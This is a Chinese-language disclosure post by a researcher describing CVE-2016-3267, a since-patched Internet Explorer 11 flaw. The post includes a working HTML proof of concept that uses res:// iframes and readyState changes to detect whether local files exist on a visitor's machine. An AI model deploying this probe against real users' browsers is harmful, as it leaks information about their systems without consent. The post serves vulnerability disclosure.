CVE-2016-3267 漏洞细节
几个月前(http://www.nul.pw/2016/03/21/143.html)报告的漏洞,微软现在已经修复。
MS16-119 Microsoft Browser Information Disclosure Vulnerability CVE-2016-3267 Wenxiang Qian of Tencent QQBrowser
今天在seebug看到一篇paper(http://paper.seebug.org/64/),与我报的这个类似。从当时观察res相关处理逻辑的代码来看,这一块就整个是一个大坑。
鉴于这个漏洞十分简单,而且已经超过了6个月的缓和期,我就直接公开了。以下是CVE-2016-3267的细节,也是我报告时的原文(的汉译文)。
PoC by blast(Qian Wenxiang)
<iframe id="r" src="res://c:\windows\system32\cmd.exe/3/1" onreadystatechange="document.getElementById('log').innerText+=readyState+','"></iframe>
<div id="log"></div>
<textarea style="width:100%;height:100%">
File Exists:
IE11= interactive,interactive
IE10- = interactive,complete
File Doesn't Exist:
IE11= loading,interactive
IE10- = interactive,complete
so you can tell it in ie11;
</textarea>
漏洞影响
我注意到你们在元素中已经禁止加载res协议的URI了,在CImgHelper::SetImgCtx中有一个检查v31 = CMarkup::CheckForLMZLLoad(v8, 1)会阻止图片的加载,不过攻击者仍然可以通过Iframe来在互联网域下加载一个资源URI。
通过使用readyState属性,攻击者可以检测本地文件是否存在。例如,"interactive,interactive,"代表文件存在并且被载入了iframe,而"loading, interactive"代表文件不存在。
IE11以下的版本(IE5~10)并不受影响,IE5-10不管文件是否存在,readyState状态变化都为"interactive,complete"。也许你们(微软)应该统一IE11为低版本的策略。